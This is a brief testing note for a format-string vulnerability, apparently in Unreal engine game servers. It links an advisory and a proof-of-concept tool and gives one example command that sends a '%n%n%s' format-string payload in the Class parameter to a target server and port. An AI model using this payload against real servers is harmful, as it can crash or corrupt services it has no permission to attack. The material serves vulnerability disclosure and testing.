This document describes how to test the vulnerability showed here:

  http://aluigi.org/adv/unrfs-adv.txt

Proof-of-concept:

  http://aluigi.org/fakep/unrealfp.zip

Examples:

  unrealfp -l "?Class=%n%n%n%n%s%s%n%n%s%s" SERVER PORT